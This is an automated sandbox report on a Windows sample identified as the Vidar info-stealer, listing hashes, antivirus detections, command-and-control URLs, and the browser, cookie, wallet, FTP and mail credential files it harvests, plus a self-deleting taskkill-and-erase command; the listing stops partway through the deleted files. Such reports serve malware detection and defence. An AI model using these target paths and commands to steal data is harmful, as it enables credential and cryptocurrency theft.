Exes_b4d66981000a78605343925b515f6fe4_exe_2019-06-30_15_30.json

[*] MalFamily: "Vidar"

[*] MalScore: 10.0

[*] File Name: "Exes_b4d66981000a78605343925b515f6fe4.exe"
[*] File Size: 778240
[*] File Type: "PE32 executable (GUI) Intel 80386, for MS Windows"
[*] SHA256: "7d55021db5637f082ac1f7d4b43bb9551fbeb5ec92094e73def2b985571221be"
[*] MD5: "b4d66981000a78605343925b515f6fe4"
[*] SHA1: "dbf258a74cb9989a22703c46633f60430a25c504"
[*] SHA512: "fbb4d38b94a420a786dfcfb79530b8c7ceac27d5e18132289195b40d25038e99593aa092b7fb52aba3ef1fbebfba3e72c6c151a289251d0a616f77f4eda8b9bd"
[*] CRC32: "95B80671"
[*] SSDEEP: "12288:lhGiigfqyM62IjIwmXLrLMn7cCZaUjVANnYepUBXt+/n2V+:7GiigfqKDILXMnNZpjUnYeqBXte2V+"

[*] Process Execution: [
    "Exes_b4d66981000a78605343925b515f6fe4.exe",
    "cmd.exe",
    "taskkill.exe",
    "services.exe",
    "svchost.exe",
    "WmiPrvSE.exe",
    "svchost.exe",
    "svchost.exe",
    "WerFault.exe",
    "WerFault.exe",
    "wermgr.exe",
    "svchost.exe",
    "taskhost.exe"
]

[*] Signatures Detected: [
    {
        "Description": "At least one process apparently crashed during execution",
        "Details": []
    },
    {
        "Description": "Creates RWX memory",
        "Details": []
    },
    {
        "Description": "A process attempted to delay the analysis task.",
        "Details": [
            {
                "Process": "WmiPrvSE.exe tried to sleep 300 seconds, actually delayed analysis time by 0 seconds"
            }
        ]
    },
    {
        "Description": "A process created a hidden window",
        "Details": [
            {
                "Process": "Exes_b4d66981000a78605343925b515f6fe4.exe -> C:\\Windows\\System32\\cmd.exe"
            }
        ]
    },
    {
        "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
        "Details": [
            {
                "post_no_referer": "HTTP traffic contains a POST request with no referer header"
            },
            {
                "post_no_useragent": "HTTP traffic contains a POST request with no user-agent header"
            },
            {
                "get_no_useragent": "HTTP traffic contains a GET request with no user-agent header"
            },
            {
                "suspicious_request": "http://coinchangerapi.com/418"
            },
            {
                "suspicious_request": "http://coinchangerapi.com/freebl3.dll"
            },
            {
                "suspicious_request": "http://coinchangerapi.com/mozglue.dll"
            },
            {
                "suspicious_request": "http://coinchangerapi.com/msvcp140.dll"
            },
            {
                "suspicious_request": "http://coinchangerapi.com/nss3.dll"
            },
            {
                "suspicious_request": "http://coinchangerapi.com/softokn3.dll"
            },
            {
                "suspicious_request": "http://coinchangerapi.com/vcruntime140.dll"
            },
            {
                "suspicious_request": "http://ip-api.com/line/"
            },
            {
                "suspicious_request": "http://coinchangerapi.com/"
            }
        ]
    },
    {
        "Description": "Performs some HTTP requests",
        "Details": [
            {
                "url": "http://coinchangerapi.com/418"
            },
            {
                "url": "http://coinchangerapi.com/freebl3.dll"
            },
            {
                "url": "http://coinchangerapi.com/mozglue.dll"
            },
            {
                "url": "http://coinchangerapi.com/msvcp140.dll"
            },
            {
                "url": "http://coinchangerapi.com/nss3.dll"
            },
            {
                "url": "http://coinchangerapi.com/softokn3.dll"
            },
            {
                "url": "http://coinchangerapi.com/vcruntime140.dll"
            },
            {
                "url": "http://ip-api.com/line/"
            },
            {
                "url": "http://coinchangerapi.com/"
            }
        ]
    },
    {
        "Description": "Attempts to repeatedly call a single API many times in order to delay analysis time",
        "Details": [
            {
                "Spam": "services.exe (504) called API GetSystemTimeAsFileTime 14570197 times"
            }
        ]
    },
    {
        "Description": "Steals private information from local Internet browsers",
        "Details": [
            {
                "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Cookies\\IE_Cookies.txt"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Cookies\\Google Chrome_Default.txt"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Cookies\\Edge_Cookies.txt"
            }
        ]
    },
    {
        "Description": "Collects information about installed applications",
        "Details": [
            {
                "Program": "Google Update Helper"
            },
            {
                "Program": "Microsoft Excel MUI  2013"
            },
            {
                "Program": "Microsoft Outlook MUI  2013"
            },
            {
            },
            {
                "Program": "Google Chrome"
            },
            {
                "Program": "Adobe Flash Player 29 NPAPI"
            },
            {
                "Program": "Adobe Flash Player 29 ActiveX"
            },
            {
                "Program": "Microsoft DCF MUI  2013"
            },
            {
                "Program": "Microsoft Access MUI  2013"
            },
            {
                "Program": "Microsoft Office Proofing Tools 2013 - English"
            },
            {
                "Program": "Adobe Acrobat Reader DC"
            },
            {
                "Program": "Microsoft Office Proofing Tools 2013 - Espa\\xef\\xbf\\xb1ol"
            },
            {
                "Program": "Microsoft Publisher MUI  2013"
            },
            {
                "Program": "Outils de v\\xef\\xbf\\xa9rification linguistique 2013 de Microsoft Office\\xef\\xbe\\xa0- Fran\\xef\\xbf\\xa7ais"
            },
            {
                "Program": "Microsoft Office Shared MUI  2013"
            },
            {
                "Program": "Microsoft Office OSM MUI  2013"
            },
            {
                "Program": "Microsoft InfoPath MUI  2013"
            },
            {
                "Program": "Microsoft Office Shared Setup Metadata MUI  2013"
            },
            {
                "Program": "Microsoft Word MUI  2013"
            },
            {
                "Program": "Microsoft Groove MUI  2013"
            },
            {
            },
            {
                "Program": "Microsoft Access Setup Metadata MUI  2013"
            },
            {
                "Program": "Microsoft Office OSM UX MUI  2013"
            },
            {
                "Program": "Java Auto Updater"
            },
            {
                "Program": "Microsoft PowerPoint MUI  2013"
            },
            {
                "Program": "Microsoft Office Professional Plus 2013"
            },
            {
                "Program": "Adobe Refresh Manager"
            },
            {
                "Program": "Microsoft Office Proofing  2013"
            },
            {
                "Program": "Microsoft Lync MUI  2013"
            },
            {
            },
            {
                "Program": "Microsoft OneNote MUI  2013"
            }
        ]
    },
    {
        "Description": "File has been identified by 26 Antiviruses on VirusTotal as malicious",
        "Details": [
            {
                "FireEye": "Generic.mg.b4d66981000a7860"
            },
            {
                "McAfee": "Artemis!B4D66981000A"
            },
            {
                "CrowdStrike": "win/malicious_confidence_100% (W)"
            },
            {
                "Invincea": "heuristic"
            },
            {
                "Symantec": "ML.Attribute.HighConfidence"
            },
            {
                "APEX": "Malicious"
            },
            {
                "Paloalto": "generic.ml"
            },
            {
                "Kaspersky": "UDS:DangerousObject.Multi.Generic"
            },
            {
                "Avast": "Win32:Malware-gen"
            },
            {
                "Endgame": "malicious (high confidence)"
            },
            {
                "Comodo": "TrojWare.Win32.Fakecsrss.AV@88nqyj"
            },
            {
                "McAfee-GW-Edition": "BehavesLike.Win32.MultiPlug.bh"
            },
            {
                "Trapmine": "malicious.high.ml.score"
            },
            {
                "Emsisoft": "Trojan.Agent (A)"
            },
            {
                "Microsoft": "Trojan:Win32/Wacatac.B!ml"
            },
            {
                "ZoneAlarm": "UDS:DangerousObject.Multi.Generic"
            },
            {
                "Acronis": "suspicious"
            },
            {
                "Cylance": "Unsafe"
            },
            {
                "ESET-NOD32": "a variant of Win32/Kryptik.GUIH"
            },
            {
                "Rising": "Trojan.Wacatac!8.10C01 (CLOUD)"
            },
            {
                "SentinelOne": "DFI - Suspicious PE"
            },
            {
                "MaxSecure": "Trojan.Malware.300983.susgen"
            },
            {
                "AVG": "Win32:Malware-gen"
            },
            {
                "Cybereason": "malicious.74cb99"
            },
            {
                "Panda": "Trj/Genetic.gen"
            },
            {
                "Qihoo-360": "HEUR/QVM10.2.2FA9.Malware.Gen"
            }
        ]
    },
    {
        "Description": "Checks the CPU name from registry, possibly for anti-virtualization",
        "Details": []
    },
    {
        "Description": "Checks the system manufacturer, likely for anti-virtualization",
        "Details": []
    },
    {
        "Description": "Attempts to access Bitcoin/ALTCoin wallets",
        "Details": [
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Bitcoin\\*.dat"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Bitcoin\\??"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\Bitcoin\\\\xe1\\x93\\x9d\\xe7\\x95\\xa3"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\Bitcoin\\*.*"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Electrum\\wallets\\default_wallet"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\Electrum\\"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Electrum\\wallets\\"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\Electrum\\*.*"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Litecoin\\"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\Litecoin\\*.*"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\Litecoin\\"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Litecoin\\*.dat"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\NameCoin\\"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Namecoin\\"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\NameCoin\\*.*"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Namecoin\\*.dat"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Terracoin\\*.dat"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\TerraCoin\\"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\TerraCoin\\*.*"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Terracoin\\"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\PrimeCoin\\"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\PrimeCoin\\*.*"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Primecoin\\"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Primecoin\\*.dat"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Freicoin\\*.dat"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\FreiCoin\\"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Freicoin\\"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\FreiCoin\\*.*"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\DevCoin\\"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\DevCoin\\*.*"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\devcoin\\"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\devcoin\\*.dat"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Franko\\*.dat"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\Franko\\"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\Franko\\*.*"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Franko\\"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Megacoin\\*.dat"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\MegaCoin\\"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Megacoin\\"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\MegaCoin\\*.*"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Infinitecoin\\*.dat"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Infinitecoin\\"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\InfiniteCoin\\"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\InfiniteCoin\\*.*"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\IxCoin\\"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\IxCoin\\*.*"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Ixcoin\\"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Ixcoin\\*.dat"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\Anoncoin\\"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Anoncoin\\"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Anoncoin\\*.dat"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\Anoncoin\\*.*"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\BBQCoin\\*.dat"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\BBQCoin\\"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\BBQCoin\\*.*"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\BBQCoin\\"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\DigitalCoin\\*.*"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\digitalcoin\\*.dat"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\digitalcoin\\"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\DigitalCoin\\"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\MinCoin\\*.*"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Mincoin\\*.dat"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Mincoin\\"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\MinCoin\\"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\GoldCoin (GLD)\\*.dat"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\GoldCoin (GLD)\\"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\YACoin\\*.dat"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\YACoin\\*.*"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\YACoin\\"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\YACoin\\"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Florincoin\\*.dat"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\FlorinCoin\\"
            },
            {
                "file": "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\FlorinCoin\\*.*"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Florincoin\\"
            }
        ]
    },
    {
        "Description": "Harvests credentials from local FTP client softwares",
        "Details": [
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\FileZilla\\recentservers.xml"
            }
        ]
    },
    {
        "Description": "Harvests information related to installed instant messenger clients",
        "Details": [
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\.purple\\accounts.xml"
            }
        ]
    },
    {
        "Description": "Harvests information related to installed mail clients",
        "Details": [
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000007"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000006"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000005"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000004"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000009"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000008"
            }
        ]
    },
    {
        "Description": "Collects information to fingerprint the system",
        "Details": []
    },
    {
        "Description": "Created network traffic indicative of malicious activity",
        "Details": [
            {
                "signature": "ET TROJAN Vidar/Arkei Stealer Client Data Upload"
            }
        ]
    }
]

[*] Started Service: [
    "VaultSvc",
    "WerSvc",
    "Winmgmt"
]

[*] Executed Commands: [
    "C:\\Windows\\System32\\cmd.exe /c taskkill /im Exes_b4d66981000a78605343925b515f6fe4.exe /f & erase C:\\Users\\user\\AppData\\Local\\Temp\\Exes_b4d66981000a78605343925b515f6fe4.exe & exit",
    "C:\\Windows\\system32\\lsass.exe",
    "C:\\Windows\\system32\\svchost.exe -k netsvcs",
    "C:\\Windows\\System32\\svchost.exe -k WerSvcGroup",
    "taskkill  /im Exes_b4d66981000a78605343925b515f6fe4.exe /f",
    "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding",
    "C:\\Windows\\system32\\WerFault.exe -u -p 2224 -s 712",
    "C:\\Windows\\system32\\WerFault.exe -u -p 2224 -s 428",
    "\"C:\\Windows\\system32\\wermgr.exe\" \"-queuereporting_svc\" \"C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_svchost.exe_Winm_51d821357ae33375e4202518b09c3ab5c649e9e_cab_091500e7\""
]

[*] Mutexes: [
    "00000000-0000-0000-0000-000000000000{3d3783a0-703a-11de-8c7a-806e6f6e6963}",
    "Local\\WERReportingForProcess2224",
    "Global\\\\xe5\\x88\\x90\\xc2\\x8a",
    "DBWinMutex",
    "Global\\\\xef\\xab\\xb0\\xc6\\xbd",
    "WERUI_APPCRASH-51d821357ae33375e4202518b09c3ab5c649e9e"
]

[*] Modified Files: [
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\passwords.txt",
    "C:\\ProgramData\\freebl3.dll",
    "C:\\ProgramData\\mozglue.dll",
    "C:\\ProgramData\\msvcp140.dll",
    "C:\\ProgramData\\nss3.dll",
    "C:\\ProgramData\\softokn3.dll",
    "C:\\ProgramData\\vcruntime140.dll",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\ld",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\historych",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\History\\Google Chrome_Default.txt",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Downloads\\Google Chrome_Default.txt",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\c",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Cookies\\Google Chrome_Default.txt",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\wd",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Autofill\\Google Chrome_Default.txt",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\CC\\Google Chrome_Default.txt",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Soft\\Authy\\\\xef\\x97\\xb8R\\xeb\\x89\\x90\\xc8\\xb1\\xeb\\x83\\x88\\xc8\\xb1\\xe9\\x93\\x90\\xc9\\x82",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Cookies\\IE_Cookies.txt",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Cookies\\Edge_Cookies.txt",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\cookie_list.txt",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\outlook.txt",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\information.txt",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Files\\Default.zip",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\Bitcoin\\\\xe1\\x93\\x9d\\xe7\\x95\\xa3",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\Ethereum\\",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\Electrum\\",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\ElectrumLTC\\",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\Exodus\\",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\ElectronCash\\",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\MultiDoge\\",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\Zcash\\",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\DashCore\\",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\Litecoin\\",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\Anoncoin\\",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\BBQCoin\\",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\DevCoin\\",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\DigitalCoin\\",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\FlorinCoin\\",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\Franko\\",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\FreiCoin\\",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\GoldCoinGLD\\",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\InfiniteCoin\\",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\IOCoin\\",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\IxCoin\\",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\MegaCoin\\",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\MinCoin\\",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\NameCoin\\",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\PrimeCoin\\",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\TerraCoin\\",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\YACoin\\",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\JAXX\\",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\screenshot.jpg",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\US_00000000-0000-0000-0000-0000000000007983224969.zip",
    "C:\\Windows\\sysnative\\LogFiles\\Scm\\5869f1c1-01d7-41f7-84b7-715672259fa8",
    "C:\\Windows\\Temp\\WERCB5B.tmp.appcompat.txt",
    "C:\\Windows\\Temp\\WER35DE.tmp.WERInternalMetadata.xml",
    "C:\\Windows\\Temp\\WER36BA.tmp.WERDataCollectionFailure.txt",
    "C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_svchost.exe_Winm_51d821357ae33375e4202518b09c3ab5c649e9e_cab_091500e7\\WERCB5B.tmp.appcompat.txt",
    "C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_svchost.exe_Winm_51d821357ae33375e4202518b09c3ab5c649e9e_cab_091500e7\\WER35DE.tmp.WERInternalMetadata.xml",
    "C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_svchost.exe_Winm_51d821357ae33375e4202518b09c3ab5c649e9e_cab_091500e7\\WER36BA.tmp.WERDataCollectionFailure.txt",
    "C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_svchost.exe_Winm_51d821357ae33375e4202518b09c3ab5c649e9e_cab_091500e7\\Report.wer",
    "C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_svchost.exe_Winm_51d821357ae33375e4202518b09c3ab5c649e9e_cab_091500e7\\Report.wer.tmp",
    "\\??\\PIPE\\samr",
    "\\??\\WMIDataDevice",
    "C:\\Windows\\sysnative\\wbem\\repository\\WRITABLE.TST",
    "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING1.MAP",
    "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING2.MAP",
    "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING3.MAP",
    "C:\\Windows\\sysnative\\wbem\\repository\\OBJECTS.DATA",
    "C:\\Windows\\sysnative\\wbem\\repository\\INDEX.BTR",
    "\\??\\pipe\\PIPE_EVENTROOT\\CIMV2PROVIDERSUBSYSTEM",
    "\\??\\pipe\\PIPE_EVENTROOT\\CIMV2WMI SELF-INSTRUMENTATION EVENT PROVIDER"
]

[*] Deleted Files: [
    "C:\\ProgramData\\freebl3.dll",
    "C:\\ProgramData\\mozglue.dll",
    "C:\\ProgramData\\msvcp140.dll",
    "C:\\ProgramData\\nss3.dll",
    "C:\\ProgramData\\softokn3.dll",
    "C:\\ProgramData\\vcruntime140.dll",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Autofill\\Google Chrome_Default.txt",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Autofill",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\CC\\Google Chrome_Default.txt",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\CC",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Cookies\\Edge_Cookies.txt",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Cookies\\Google Chrome_Default.txt",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Cookies\\IE_Cookies.txt",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Cookies",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\cookie_list.txt",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Downloads\\Google Chrome_Default.txt",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Downloads",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Files\\Default.zip",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Files",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\History\\Google Chrome_Default.txt",
